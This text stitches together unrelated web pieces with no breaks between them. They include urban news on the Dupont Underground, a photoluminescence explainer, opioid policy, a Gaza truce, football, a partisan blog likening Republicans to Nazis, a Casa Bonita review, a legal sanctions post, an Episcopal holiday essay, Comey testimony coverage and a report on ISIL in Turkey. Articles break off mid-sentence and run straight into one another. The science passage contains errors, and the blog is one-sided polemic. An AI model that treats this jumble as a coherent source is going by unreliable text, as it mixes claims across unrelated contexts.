The Dupont Underground The Dupont Underground
Three urban wineries are in talks with the team behind the Dupont Underground about the possibility of opening up in the space, architect Julian Hunt said at a talk at the District Architecture Center on Thursday evening.
Hunt, the founder and chairman of the Arts Coalition for the Dupont Underground (ACDU), said that the group is eager to engage the 75,000-square foot subterranean space with art galleries and other creative projects, but understands that a winery may fulfill the need for an economically viable use and also “fit our program.”
However, no specific timeline was given for a project that has intrigued DC residents for years, and any potential commercial uses are still in the earliest phases of brainstorming. ACDU, said Hunt, is moving forward more slowly and deliberately than the organizers of the previous attempt to revitalize the former streetcar station; the retail concept Dupont Down Under launched in 1995 and famously failed a year later.
A rendering of a potential park over Connecticut Avenue. A rendering of a potential park over Connecticut Avenue.
Other interesting ideas that have been considered for the space and the area around it include drilling through the medians surrounding Dupont Circle to create skylights and to bring natural light to the cave-like space, creating appealing, green entries at P Street NW and across from the Metro stop on Q Street NW, and decking over Connecticut Avenue between Dupont Circle and Q Street NW to creatable a walkable park area.
Currently, ACDU is in talks with the city to open up the eastern side of Dupont Underground to host temporary events, like visual art installations, musical events or pop-up retail.
At the talk, entitled Metamorphosis: Infrastructure to Civic Spaces, Hunt was joined by Scott Kratz, the man behind the 11th Street Bridge Park project, and Paul VanMeter of VIADUCTgreene, a Philadelphia project that is attempting to turn a former elevated rail line into green space.
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This article originally published at https://dc.urbanturf.com/articles/blog/three_wineries_in_dupont_underground/6693Photoluminescence occurs when molecules absorb energy. If the light causes electronic excitation, the molecules are called excited. If light causes vibrational excitation, the molecules are called hot. Molecules may become excited by absorbing different types of energy, such as physical energy (light), chemical energy, or mechanical energy (e.g., friction or pressure). Absorbing light or photons may cause molecules to become both hot and excited. When excited, the electrons are raised to a higher energy level. As they return to a lower and more stable energy level, photons are released. The photons are perceived as photoluminescence. The two types of photoluminescence ad fluorescence and phosphorescence.
Here's how photoluminescence works and a look at the processes of fluorescence and phosphorescence, with familiar examples of each type of light emission.
Fluorescence and phosphorescence are two mechanisms that emit light or examples of photoluminescence. However, the two terms don't mean the same thing and don't occur the same way. In both fluorescence and phosphorescence, molecules absorb light and emit photons with less energy (longer wavelength), but fluorescence occurs much more quickly than phosphorescence and does not change the spin direction of the electrons.
Fluorescent lights and neon signs are examples of fluorescence, as are materials that glow under a black light, but stop glowing once the ultraviolet light is turned off. Some scorpions will fluoresce. They glow as long as an ultraviolet light provides energy, however, the exoskeleton of the animal does not protect it very well from the radiation, so you shouldn't keep a black light on for very long to see a scorpion glow. Some corals and fungi are fluorescent. Many highlighter pens are also fluorescent.
The color (wavelength) of light emitted by fluorescence is nearly independent of the wavelength of incident light. In addition to visible light, infrared or IR light is also released. Vibrational relaxation releases IR light about 10 -12 seconds after the incident radiation is absorbed. De-excitation to the electron ground state emits visible and IR light and occurs about 10 -9 seconds after energy is absorbed. The difference in wavelength between the absorption and emission spectra of a fluorescent material is called its Stokes shift.
In fluorescence, high energy (short wavelength, high frequency) light is absorbed, kicking an electron into an excited energy state. Usually, the absorbed light is in the ultraviolet range, The absorption process occurs quickly (over an interval of 10 -15 seconds) and does not change the direction of the electron spin. Fluorescence occurs so quickly that if you turn out the light, the material stops glowing.
How Phosphorescence Works
Stars painted or stuck on bedroom walls glow in the dark because of phosphorescence. Dougal Waters / Getty Images
As in fluorescence, a phosphorescent material absorbs high energy light (usually ultraviolet), causing the electrons to move into a higher energy state, but the transition back to a lower energy state occurs much more slowly and the direction of the electron spin may change. Phosphorescent materials may appear to glow for several seconds up to a couple of days after the light has been turned off. The reason phosphorescence lasts longer than fluorescence is because the excited electrons jump to a higher energy level than for fluorescence. The electrons have more energy to lose and may spend time at different energy levels between the excited state and the ground state.
An electron never changes its spin direction in fluorescence, but can do so if the conditions are right during phosphorescence. This spin flip may occur during absorption of energy or afterwards. If no spin flip occurs, the molecule is said to be in a singlet state. If an electron does undergo a spin flip a triplet state is formed. Triplet states have a long lifetime, as the electron won't fall to a lower energy state until it flips back to its original state. Because of this delay, phosphorescent materials appear to "glow in the dark".
Examples of Phosphorescence
Phosphorescent materials are used in gun sights, glow in the dark stars, and paint used to make star murals. The element phosphorus glows in the dark, but not from phosphorescence.
Other Types of LuminescenceGovernors from across the country have backed new measures to tackle the explosion of heroin and opioid abuse and overdoses in the U.S.
During a weekend session of the National Governors’ Association, the leaders’ health committee accepted a proposal to come up with new guidelines on prescribing the painkillers that are abused and often lead to heroin abuse. The New York Times reports the new restrictions would likely put number limits on prescriptions. Governors told the Times they had faced pushback from doctors when they have sought to address the number of prescriptions written.
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In a joint statement released on Saturday, leaders from the National Governors Association and the American Medical Association committed to increasing their efforts to fight the epidemic in their respective states. “To end this national epidemic that claims the lives of so many of our family members and fellow citizens, governors, physicians, state legislatures and other stakeholders must join together to take action,” the statement reads. “We must demonstrate the leadership it takes to make meaningful changes that will have a lasting impact.”
The National Governors Association is scheduled to meet with President Obama at the White House on Monday, where the topic of heroin will likely come up again. The president has made addressing the epidemic a priority in his final year in office. His 2017 Budget proposal included a request for $1 billion to fight the heroin epidemic.
Contact us at editors@time.com.Israel announced it agreed to extend the temporary truce in Gaza for 24 hours while – at Egypt's request – it continued to negotiate a permanent agreement with the Palestinian delegation in Cairo.
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In a statement, Egypt confirmed a deal had not been reached but that talks on a long-term arrangement in Gaza Strip would continue.
"Palestinians and Israelis agreed on extending ceasefire to 24 hours to continue current negotiations," Egypt's official news agency said, quoting an official statement.
"The delegation in Cairo represents all of us. We will not renew fire given the announcement of a 24-hour ceasefire extension," said a spokesman for the military wing of the Popular Resistance Committees – which had earlier declared it would resume rocket fire if an official agreement was not announced.
A member of the Palestinian delegation to Cairo confirmed earlier Monday night that the Palestinians told Egypt they were prepared to sign the Egyptian agreement on a permanent ceasefire.
"As of now, we are waiting on the Israeli cabinet to announce that it approved the agreement," said the delegation member. He claimed the second stage of the accord includes deliberations on the establishment of a seaport and airport.
Sources in Jerusalem have yet to comment on the Palestinian reports, while ministers claimed they were not contacted about the agreement. As of 11 pm, the cabinet has not convened to deliberate the offer.
An Israeli official said no agreement was reached, while another raised the possibility that the ceasefire would be extended another 24 hours until the gaps between the sides could be bridged.
Palestinian sources claimed that the pending agreement includes seven sections (which have not been confirmed by Israeli sources):
Comprehensive end to blockade of Gaza, including all crossings, and international supervision over entry of construction materials
Rehabilitation of the Gaza Strip under the supervision of the Palestinian unity government
Provision of solution to electricity shortage within a year
Extension of permitted fishing zone from six to 12 miles within six months
Comprehensive end to economic blockade of the Gaza Strip
An agreement, in principle, regarding a seaport, but a postponement of discussion for a month from the signing of the accord; the proposal sets new discussions – in a month – on the technical and administrative operations of the future port
Postponement of deliberation on release of detainees for one month
Throughout Monday night, conflicting reports emerged from Cairo regarding the forthcoming agreement and its contents.
While Palestinian sources expressed optimism that the fighting would not resume at midnight, Israeli officials continued to emphasize that the IDF was prepared to resume its operations.
He emphasized: "The combination of perseverance and fortitude will help us reach the aim of the operation – security and safety for all Israelis."Juventus midfielder Sami Khedira will come face-to-face with Real Madrid's fans once more in Saturday's Champions League final – and he does not miss them one bit.
The Germany World Cup winner joined Juve on a free-transfer in June 2015 after five years at the Santiago Bernabeu.
Injury often hindered Khedira's progress in the Spanish capital and, although he has nothing but praise for Madrid's coaching staff, he felt he was under-valued on the terraces.
"In Madrid, I was appreciated by my coaches and 100 per cent fair, but I did not have this recognition in public," he told Kicker.
"If I did 10 good games, that was self-evident. If the 11th was not so good, it was asked whether or not I was good enough for the club."
Khedira is expected to start at the Principality Stadium, having formed an impressive midfield alliance alongside Miralem Pjanic on the way to retaining Serie A and the Coppa Italia.49.1k SHARES Facebook Twitter Google Whatsapp Pinterest Print Mail Flipboard
We have witnessed a great deal of conservative madness over the past five years, since Barack Obama was elected president of the United States. Some of us during the intervening years have wondered where it would end. I was one of those who early on began to compare the Religious Right and the Tea Party to the Nazis. It was not a careless or spiteful comparison, but one based on the evidence of their rhetoric and avowed goals. There is a reason I made the above map resemble the Nazi flag.
It is no accident that the Nazi cry of Germany for the Germans is echoed by the Republican cry of America for Americans. Once upon a time there were “real” Germans and our own time brought us “real” Americans – the obvious consequence of such claims being that everybody else was an interloper, inferior – the “other.” With a single utterance, people like Sarah Palin, like Hitler before her, was able to delegitimize half of the population. The “other” become parasites attacking the health of the country. This is a claim made by both Nazis and the Religious Right.
Of course, that horrified progressives, to say such horrible things. Godwin’s Law was, of course, invoked (we need a law about the invocation of Godwin’s Law – seriously). But a comparison should not be shied away from because it seems extreme. As I have argued repeatedly both here and elsewhere, the comparison holds water. If somebody acts like a Nazi, we should certainly be able to point out that they are acting like a Nazi.
Which brings us to first Kansas, a state which was driven to the brink of Nazification by Republicans, and then, perhaps in horror of what it had almost done, backed away, and then to Arizona, which is now our first state to embrace Nazism. Sure, S.B. 1062 is not a law until Gov. Jan Brewer signs it, and she says she needs more time, but who, really, needs more time to decide whether or not to oppose Nazism? Other than Ted Nugent, that is.
Many of us saw this coming. We were laughed at. We warned people what the Religious Right wanted, what it intended. As with the Nazi Party in its early days, far too many people did not take the forces of oppression seriously. This tendency to deny unpleasant realities, even while they are occurring, is frustrating to say the least. It is dangerous at the worst: People will not fight back against something they cannot bring themselves to believe.
Believe it. People used to talk about Nazi Germany in disbelief even after the fact. How could it happen? It could happen very easily. It had happened before in human history and there was no reason to believe it would not happen again. And again. It could happen here, too, if we are not vigilant. In state after Republican state, we are seeing what amounts to state-sanctioned violence against the other, from Stand Your Ground laws to Arizona’s S.B. 1062.
The one constant is intolerant conservative Christianity, the driving force of oppression dating all the way back to the dawn of the movement. When conservative Christianity achieved a dominant position in the Roman Empire, the first thing it did was produce the Theodosian Code, which I have warned of here on previous occasions. The Theodosian Code was, like S.B. 1062, a tool of oppression, a collection of laws passed by the emperor Constantine and his successors, “was presented to the empire as a Christmas present in 438.”[1]
The attitude of conservative Christians toward the “Other,” one of, if you can’t convince them, force them, is embraced today by Republican lawmakers. Bishop Caesarius of Arles told his sixth century flock to admonish unbelievers “harshly,” to chide them “severely,” and if this failed, to strike them, to pull their hair, even to forcibly restrain them. In this he was following the advice of John Chrysostom, a Saint, who advised “rebuke” by way of punching the unbeliever: “Smite him on the face; strike his mouth; sanctify thy hand with the blow.”[2]
As Sabine MacCormack observes of the infamous Book 16, “In the Theodosian Code…we can document the incorporation of sins into the purview of the criminal code; and as a result, the range of actions surveyed by the law and changed and expanded.”[3] In other words, Book 16 “articulates for the first time in a Roman law code, what religion and what religious practices ‘are to be done and what are to be avoided’; and what was ‘the True Religion.'”[4]
By the 450s, a generation after the publication of the Code, MacMullen argues that the “legal system became wholly an instrument of persecution.”[5] Look at the violence we see today and argue that we are not far from the Theodosian, or in more modern terms, Nazi precipice. As MacMullen makes clear, witnessing did not end with harsh words, or even with fists:
Government too, at the urging of the bishops weighed in with threats, and more than threats, of fines, confiscation, exile, imprisonment, flogging, torture, beheading, and crucifixion. What more could be imagined? Nothing. The extremes of conceivable pressure were brought to bear. Thus, over the course of many centuries, compliance was eventually secured and the empire made Christian in truth.[6]
Substitute America for empire, and you have the dominionist dream for our country and our time. From the top down, the deck was stacked against the other, whoever they might be, from Jews to Pagans and even to other Christians. There are good reasons you don’t see Gnostic churches today on your street corner. Nor more than Christians and then Nazis would abide a synagogue, will conservative Christians abide temples and mosques. Jews and gays were targets of Theodosian Christianity before they were targets of Nazism and finally, of the Religious Right.
The antecedents of the Religious Right’s war on tolerance are ancient. Nazism is ultimately but a way stop on that road, a product itself of all that came before, and the most recent example we have of what happens when intolerance is legislated into law – as is in danger of happening in America today.
If you’re ready to read more from the unbossed and unbought Politicus team, sign up for our newsletter here! Email address: Leave this field empty if you're human:The Great Bathroom Panic is among the saddest and most pathetic failures of American democracy in all of 2015. A few weeks ago, residents in Houston, the largest city in Texas and the fourth largest city in the United States, voted against the Houston Equal Rights Ordinance (HERO). Had it passed, the ballot initiative would have outlawed discrimination based on an individual's sexual orientation and gender identity. Thus, Houston falls embarrassingly behind the Lone Star state's other major cities (Austin, Dallas, San Antonio) in upholding prejudice by way of good old fashioned fear. You've probably seen the photo of the elderly man holding the picket sign: "NO MEN IN WOMEN'S BATHROOMS."
Well, that sign worked, and Texans are now worse off because of it.
Last night, in two minutes and 35 seconds, SNL's resident young person Pete Davidson explained the flaw in |
Park a few years back where Eric Cartman passionately extolled its virtues for 22 full minutes. It’s the kind of place you’d take out-of-town guests to Denver if they had kids.
More than 20 years ago, I was one of those kids. Around age 9 or 10 (I can’t remember exactly), my family took a trip to visit a relative in Denver and we went to Casa Bonita. I only have fleeting memories of that trip.
This weekend, I was back in Denver for my friend Trent’s wedding. On Sunday night, with most of my friends already on their way back home out of Denver, I convinced the remaining crew to take a trip to Casa Bonita. So we did.
Here are my 11 random observations at the legend that IS Casa Bonita.
1 | Casa Bonita is actually in a strip mall in a seemingly-questionable area
Casa Bonita (with “Casa” Midwesternly pronounced by locals like it rhymes with “NASA”) has an epic exterior which, in photographs, makes you think it’d be a free-standing behemoth. It is not. It is in a strip mall. And not a sexy strip mall. As my friend Bruce astutely pointed out, when you see a still-not-replaced Hollywood Video, it’s never a good sign…
Also, I don’t really know Denver’s good and bad neighborhoods… but I got a strong vibe that Casa Bonita wasn’t exactly in the poshest part of town. Although it was just down the street from a *doll hospital*, and I don’t think there’s a supply/demand for those in the bad parts of any town.
2 | They most definitely embrace the South Park episode
I can only imagine what the South Park has done for Casa Bonita — but it has to be one hell of a bump. Like what America’s Funniest Home Videos did for the camcorder. Or what Saved by the Bell did for robot butlers.
And Casa Bonita knows it. I snapped a picture of that banner on the wall for two reasons. One: To prove they pay homage to Eric Cartman, their biggest fan. And two: Because it’s quite possibly the only piece of decor they’ve added or updated since 1989.
3 | The video games are incredibly old school
That 1989 crack sounds dickish, but it’s grounded in reality — or, at least, a nebulous area close to reality. I took this photo of my friend Adam picking his poison in the arcade. Remember Neo-Geo arcade games — where you could take the memory card from your console to the arcade and continue there? Except Neo-Geo was prohibitively expensive to have at home and arcades were already an endangered species when this came out? Anyone? Nope. Moving on…
I took this photo to prove they did have a game made this century — although, frankly, it probably wasn’t. As Adam would point out: “You don’t make a game and name it after the year you make it. If a game came out this year it wouldn’t be called Whatever 2011, it would be Whatever 2030. That game wasn’t made in 2002, it was probably made in 1991.”
4 | It has one of the strangest ordering processes you’ll ever encounter in a restaurant
Essentially Casa Bonita’s ordering system combines elements of a cafeteria, sit-down restaurant and prison…
(1) You get in line.
(2) You order your meal from a cashier but don’t pay her.
(3) Then you walk through a line and grab a tray and silverware.
(4) You reach the spot, pictured above, where trays of food are slid through a small, narrow opening in the wall like you’re cellmates with the Count of Monte Cristo.
(5) Finally you carry your tray to a table where you’re taken care of by a waiter for the rest of the night.
It’s so unnecessarily complicated, like the Lost of gimmick restaurants.
5 | The food… um…
You know that scene in Vegas Vacation where they go to the cheap booofet and Randy Quaid orders “some of the yella?”
6 | More sopaipillas please!
While the food isn’t, um, even Taco Bell level — the unlimited sopaipillas are excellent. These are fried dough squares you eat with honey. Like Tex-Mex beignets. Or what they eat during Rosh Hashanah in Juarez.
However, I think the paper they’re served on may’ve been swiped from a nearby Chili’s.
7 | The video game tokens packaging is quite evocative
You buy arcade tokens in these bags. Makes them convenient to carry around. Also makes it convenient to swallow them and smuggle them into the U.S. from Colombia.
8 | The cliff divers and jugglers are good
I’ve been giving a bit of the business to Casa Bonita, but the entertainment in the main dining room nails it.
The cliff divers (who appear to be an average age of around 17 — as you can see in the photo above of a cliff diver along with my very patient girlfriend) are pulling off impressive dives in a pretty cramped space.
And the fire juggler really did juggle some serious fire (and he even briefly dropped one of the sticks, probably because he screwed up… but arguably to show us Just How Real it could get).
9 | What OTHER font would they use for this sign?
Casa Bonita and Comic Sans just belong together. They’re the Ross and Rachel of gimmicky Mexican restaurants and shat-upon fonts.
10 | We’re gonna wanna do Black Bart’s Cave like eight or nine times
I get a little claustrophobic, and am a bit embarrassed to admit that I got a little freaked out in the confined spaces of Black Bart’s cave. It’s kinda tight in there. (It was built in the early ’70s… I’m not sure they’ve adjusted the girth of the passageways for us modern Americans.)
That I can blame on my claustrophobia. As for the girlish shriek I emitted when a surprise burst of compressed air got me… I can only blame that on the ghost of Black Bart. Whoever the hell that is.
(And, for reference, even with “Black Bart’s Cave” on the premises, Casa Bonita did NOT sell any “Bart” souvenirs in the gift shop. No Bort either.)
11 | The verdict on Casa Bonita
I don’t remember all that much from my trip to Casa Bonita 20 years ago. But I do know that it made a hell of an impression on me as a little kid — because even having like five or six memories that still persist from a trip that long ago means something.
As an adult with no kids, the impression wasn’t quite so stunning. And I’m torn whether the cache and gimmick is really worth the trip. Like… I don’t feel that my friends who had already left Denver on Sunday really missed out. Doesn’t quite have the same quality as Disneyland where, as long as you’re willing to buy in, you can enjoy it properly both as an adult and as a kid.
There were other people at Casa Bonita on Sunday trying to appreciate it ironically, but it’s just not quite secretly enjoyable enough to hit that level. Like, I appreciate a movie like Taken or a restaurant like Olive Garden ironically — but I also really like what I’m getting there. This fell a bit short.
That being said… if you have a wide-eyed elementary schooler, he or she will probably find it to be wonderful and magical. They don’t notice the funky smell, or the crumbling strip mall, or the fact that there are unique types of Mexican food in the world and it’s not just supposed to be one mushy pile of tortillas, cheese, and something beef-ish on a plate.
So take your age-appropriate kid to Casa Bonita. (But… um… might want to throw a Clif bar in your pocket.)
—
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I blogged earlier this year about the sudden end of a mass downloading lawsuit that was brought by Texas lawyer Evan Stone against hundreds of individuals who allegedly downloaded his client's "adult" movie. I pointed out then that, after the trial judge appointed me and two EFF lawyers as counsel ad litem for the Doe defendants, and we caught Stone red-handed in a serious violation of the discovery rules, Stone dismissed the lawsuit with prejudice (without getting his client's permission, I have been told) in an apparent effort to avoid judicial scrutiny of his conduct.
Judge David Godbey has now found that Stone "grossly abused his subpoena power" and imposed severe sanctions on Stone, requiring to make him to disclose additional information to the Court, to send Judge Godbey's order to other judges (and we understand that Stone has continued to file mass downloading actions before other judges), to pay a $10,000 fine to the court, and finally to pay our reasonable attorney fees. Rather than elaborating on the content of the order, I suggest reading it here.by George Clifford
The Fourth of July—Independence Day—is not only a national holiday but also a feast day observed in our Episcopal liturgical calendar. The newly formed Episcopal Church included the feast in its 1786 prayer book and then omitted it in 1789. The change occurred upon the recommendation of Bishop William White. He contended that former loyalists, who constituted the main obstacle to the Episcopal Church growing, found the feast objectionable. The 1929 Book of Common Prayer restored Independence Day as a feast. That history suggests three lines of thought.
First, the inclusion, omission, and re-inclusion of Independence Day in the liturgical calendar should warn against equating nationalism and Christianity. For its first century and a half, Episcopalians viewed loyalty to Christ and not the nation as paramount.
Today, perhaps much less than in 1786, the United States is not part of Christendom (if one presumes that Christendom still exists somewhere). The US is a multi-cultural, multi-lingual, and religiously diverse nation. Consequently, we should object, as did most of the nation’s founders, to legislative efforts to establish Christian teachings or practices. No law can ban private prayer. Conversely, no law can require belief in God. Indeed, printing In God We Trust on US money seems patently hypocritical, as people are often more confident in the dollar’s power than in God’s power.
Second, notions of US exceptionalism—the idea that the US is the new Israel, a city founded upon a hill as a light to the nations, or a nation especially blessed by God—are incompatible with Christian inclusivity and justice. Paraphrasing the book of Acts God is no respecter of peoples or nations, loving all equally.
I proudly served the US Navy for over two decades, ready and willing to go into harm’s way to defend our freedoms and way of life. However, I also knew that the US was neither the most just nor prosperous nation. The US has some admirable characteristics, but we can also learn from other nations. Viewing the US as a member of the global community, co-equal with the other members, best coheres with God’s equal love for all. On Independence Day, we thus do well to give thanks for the goodness of this land and to seek God’s wisdom and assistance in addressing our shortcomings and failures.
Similarly, placing a US flag adjacent to the altar generally sends a wrong message, tacitly implying that God somehow especially favors the US. I have had the US flag removed from the worship space of every congregation that I have served except one. In the military, confusing loyalty to God with loyalty to the nation is an ever-present danger. In my civilian parishes, my congregations have all included citizens from several nations. The one place in which I did not remove the flag was the US Naval Academy. There, as part of the recessional, midshipmen dipped the US flag before the altar dramatically symbolizing the priority of loyalty to God over nation.
Third, we appropriately reinterpret what we celebrate on Independence Day. Our reading of the Declaration of Independence illustrates the positive potential of this process. The well-known, rightly treasured expression that “all men are created equal” originally meant white, property-owning males are created equal. After much struggle, some of which continues even in the present, most Americans now interpret that phrase to mean that all people, regardless of socio-economic status, race, ethnicity, or creed are created equal. This new reading is so widely accepted that the historically ignorant often respond with surprised disbelief when informed of the phrase’s original meaning.
In addition to struggles to end racial, ethnic, religious, and sexual discrimination, we now hear belated calls to end injustice against gays, lesbians, bi-sexual, and transgender persons. This struggle will require, like its predecessors, decades to complete fully but, with God’s help, the arc of history bends inexorably and irreversibly toward justice. Ten years ago, only one state had legalized same-sex marriage. Laws in 20 states now permit same-sex marriage; court rulings are pending in seven more states. Sometime before 2020, same-sex marriage seems likely to become legal in all US jurisdictions.
Economic injustice is more elusive to define and rallying support to end it more difficult. Requirements that voters pay a poll tax in order to be eligible to vote replaced the prior requirement that eligible voters must own property. The poll tax—struck down by US courts as an unconstitutional attempt to limit voter eligibility—has subsequently given way to campaigns in which the winner is almost invariably the candidate who raises the most money. The recent primary defeat of the US House of Representatives Majority Leader, Eric Cantor (R, VA), by an unknown and poorly funded Tea Party candidate is the notable exception to that generalization. Calls for racial justice by the Rev. Dr. Martin Luther King, Jr. stirred the nation, mobilizing people on both sides of the issue; tellingly, his calls for economic justice were widely ignored and now largely forgotten.
Money does not assure happiness. Research indicates that people living in the US who earn more than $75,000 per year experience only marginal increases in their happiness when their income increases. However, people who earn less than $75,000 (and that is 60% plus of us) experience significant increases in happiness when income improves. In other words, money cannot make us happy, but a lack of money can keep one from having the resources to live a reasonably happy and good life.
A tension between the present and future in-breaking of God’s kingdom on earth echoes throughout the New Testament. Unfortunately, when it comes to money, wealth, and power Christians individually and collectively too often emphasize a future rather than present focus. This tension is evident when one compares Matthew’s better-known but probably later version of the Sermon on the Mount with Luke’s presumably earlier version. Luke, for example, records Jesus taught that the hungry shall be satisfied (a call for economic justice!) whereas Matthew records Jesus taught that those who hunger and thirst for righteousness will be satisfied (spiritualizing and thereby eviscerating the call for economic justice).
Justice delayed is not justice. Will we, as does Matthew’s gospel, spiritualize Jesus’ teachings and emphasize economic justice will only arrive with the fullness of the Kingdom? Alternatively, is God speaking to us through Luke’s gospel, calling us to join in the struggle for justice for the least amongst us? Independence Day is an opportunity not only to celebrate progress toward equal dignity for all but also an excellent time to encourage progress toward equal opportunity for all in the pursuit of happiness.
George Clifford is an ethicist and Priest Associate at the Church of the Nativity, Raleigh, NC. He retired from the Navy after serving as a chaplain for twenty-four years, has written Charting a Theological Confluence: Theology and Interfaith Relations and Forging Swords into Plows: A Twenty-First Century Christian Perspective on War, and blogs at Ethical Musings.
Like ( 0 ) Dislike ( 0 )In this Wednesday, May 3, 2017 photo, then-FBI Director James Comey testifies on Capitol Hill in Washington, before a Senate Judiciary Committee hearing. A nonprofit issues group is labeling James Comey a political "showboat" in an advertisement set to air on television Thursday, the day the former FBI director testifies on Capitol Hill. (AP Photo/Carolyn Kaster)
WASHINGTON (AP) — With fired FBI Director James Comey’s highly anticipated congressional testimony just a day away, the White House and its allies are scrambling for ways to offset potential damage.
Asked Tuesday about the testimony, President Donald Trump was tight-lipped: “I wish him luck,” he told reporters.
And early Wednesday, Trump took to Twitter to announce his pick for FBI director — Christopher Wray, a former Justice Department official who was New Jersey Gov. Chris Christie’s lawyer during the George Washington Bridge lane-closing investigation.
Comey’s testimony Thursday before the Senate intelligence committee could expose new details regarding his discussions with Trump about the federal investigation into Russia’s election meddling.
Comey could also bring up other aspects of his dealings with the Trump administration. On Tuesday evening a person familiar with the situation said Comey had told Attorney General Jeff Sessions that he did not want to be left alone with Trump.
The person, who was not authorized to discuss the matter by name and spoke on condition of anonymity, told The Associated Press the comment was made because of concerns Comey had about Trump.
It was not immediately clear when the conversation occurred. But The New York Times, which first reported the interaction with Sessions, said it came after Trump had asked Comey in February to end an FBI investigation into Trump’s first national security adviser, Michael Flynn.
Justice Department spokesman Ian Prior declined to comment. He said Sessions “doesn’t believe it’s appropriate to respond to media inquiries on matters that may be related to ongoing investigations.”
Trump’s White House and its allies are crafting a strategy aimed at undermining Comey’s credibility. Both White House officials and an outside group that backs Trump plan to hammer Comey in the coming days for misstatements he made about Democrat Hillary Clinton’s emails during his last appearance on Capitol Hill.
An ad created by the pro-Trump Great America Alliance — a nonprofit “issues” group that isn’t required to disclose its donors — casts Comey as a “showboat” who was “consumed with election meddling” instead of focusing on combating terrorism. The 30-second spot is slated to run digitally on Wednesday and appear the next day on CNN and Fox News.
The Republican National Committee has been preparing talking points ahead of the hearing, which will be aired live on multiple TV outlets. An RNC research email Monday issued a challenge to the lawmakers who will question Comey. There’s bipartisan agreement, the email says, that Comey “needs to answer a simple question about his conversations with President Trump: If you were so concerned, why didn’t you act on it or notify Congress?”
Comey’s testimony marks his first public comments since he was abruptly ousted by Trump on May 9. Since then, Trump and Comey allies have traded competing narratives about their interactions. The president asserted that Comey told him three times that he was not personally under investigation, while the former director’s associates allege Trump asked Comey if he could back off an investigation into Michael Flynn, who was fired as national security adviser because he misled the White House about his ties to Russia.
Democrats have accused Trump of firing Comey to upend the FBI’s Russia probe, which focused in large part on whether campaign aides coordinated with Moscow to hack Democratic groups during the election. Days after Comey’s firing, the Justice Department appointed a special counsel, former FBI Director Robert Mueller, to oversee the federal investigation.
The new revelation about Comey’s uneasiness with Trump brings to mind a posting last month by Comey friend Benjamin Wittes on his Lawfare blog, in which he said Comey “saw it as an ongoing task on his part to protect the rest of the Bureau from improper contacts and interferences from a group of people he did not regard as honorable.”
Despite the mounting legal questions now shadowing the White House, Trump has needled Comey publicly. In a tweet days after the firing, he appeared to warn Comey that he might have recordings of their private discussions, something the White House has neither confirmed nor denied.
White House officials appear eager to keep the president away from television and Twitter Thursday, though those efforts rarely succeed. White House spokesman Sean Spicer said the president plans to attend an infrastructure summit in the morning, then address the Faith and Freedom Coalition’s “Road to Majority” conference at 12:30 p.m.
“The president’s got a full day on Thursday,” Spicer said.
The White House had hoped to set up a “war room” stocked with Trump allies and top-flight lawyers to combat questions about the FBI and congressional investigations into possible ties between the campaign and Russia. However, that effort has largely stalled, both because of a lack of decision-making in the West Wing and concerns among some potential recruits about joining a White House under the cloud of investigation.
“If there isn’t a strategy, a coherent, effective one, this is really going to put us all behind the eight ball. We need to start fighting back. And so far, I don’t see a lot of fight,” said Barry Bennett, a former Trump campaign aide.
Still, Trump supporters say they are willing to step in to help the White House deflect any accusations from Comey.
“If we feel he crosses a line, we’ll fire back,” said Ed Rollins, chief strategist of Great America PAC, the political arm of the group airing the Comey ad.
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Associated Press writer Eric Tucker contributed to this report.
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Follow Julie Pace at http://twitter.com/jpaceDC and Julie Bykowicz at http://twitter.com/bykowiczFatima fled Syria after her son was kidnapped by the militant group only to discover they were also in the Turkish city she wanted to call home.
GAZIANTEP, TURKEY // Fatima, a 50-year-old Syrian mother, is subjected to threats and harassment from the ISIL extremist group and its supporters.
Yet, she no longer lives in Syria, where the group controls large swathes of territory.
Since fleeing the Syrian town of Raqqa, ISIL’s stronghold, in September 2014, she has lived in the Turkish town of Sanliurfa, about 80 kilometres from the Syrian border.
“Here, ISIL supporters are all around us. Back in our city and now here in Sanliurfa,” Fatima said. “We don’t know where to go anymore.”
When the uprising against Syrian president Bashar Al Assad began in 2011, Turkey opened its borders to refugees fleeing the violence. Rebel fighters were also allowed to organise, seek medical attention, and resupply in the country. Many foreign fighters travelled to Syria through major Turkish cities such as Istanbul and Ankara.
As the war against Mr Al Assad dragged on, rebel groups became more extreme and many eventually joined ISIL, which emerged in 2013, but Turkey chose not to crack down. Not only did Ankara see hardline rebel groups as the most successful anti-regime fighters, there were also concerns that an aggressive policy towards ISIL would lead to attacks inside Turkey.
However, that policy allowed ISIL to expand its presence in Turkey.
Last Monday, a suicide bombing killed 32 people in the mainly Kurdish border town of Suruc. Ankara accused ISIL of being behind the attack and began carrying out strikes on the group in Syria, joining the US-led coalition against the group.
Turkey is now countering the group, but previously “the knowledge that ISIL can activate its agents inside the country for terrorist attacks” constrained its options, said Kyle Morton, a Middle East analyst who has written frequently on the Syrian civil war.
An overt ISIL presence in Sanliurfa — in the form of supporters and both former and current fighters for the group — emerged at the beginning of 2015, according to Fatima and activists.
Sukru Kirboga, a leader of the Turkish Arab community in Sanliurfa, said ISIL had a presence throughout all of Turkey.
He accused Kurdish fighters combating ISIL in northern Syria of pushing Arabs out of the area, flooding cities such as Sanliurfa with refugees. He said Arab members of ISIL probably entered Turkey with the refugees and formed cells within Turkey.
“That makes more problems, for us, Turkish Arabs. We’re definitely against ISIS, who even considers us infidels, but we are also (in solidarity) with our brothers and sisters in Syria who suffer from this ambitious dream of Kurdistan,” Mr Kirboga said.
Fleeing terror
Fatima left Raqqa after ISIL kidnapped her son, Mahmoud, a 32-year-old pharmacist who was also involved with the moderate Syrian opposition.
The extremist group considers the opposition, backed by the West and Arabian Gulf states, to be “infidels” and has targeted them throughout Syria.
The group kidnapped him in 2013, before it took over Raqqa, she said. Along with other women, she began demonstrating in the streets of the city, demanding that the militants release their relatives. “I felt like any mother losing her son in front of her eyes. I cannot describe the feelings. At first, I wanted to go and find him. I asked them what crime he did to kidnap him. I knocked on every door I know to help in releasing him,” she said.
At one protest, filmed and uploaded on YouTube, a group of women sit on the ground with signs reading “I want my son”. Later, a crowd forms and faces off with masked armed men.
At the time, ISIL was still trying to gain support in Raqqa and did not attack the women. Later, the militants told Fatima and the other women there would be consequences if they did not stop protesting.
About nine months after ISIL established control of Raqqa in January 2014, Fatima fled to Turkey with her daughter Sana, 25, and her husband Abu Alaa, 65, who is partially paralysed.
Wanting to avoid the refugee camps already teeming with displaced Syrians, the family rented a room in Sanliurfa, but could not afford to move anywhere else. Mahmoud had been the family’s sole breadwinner.
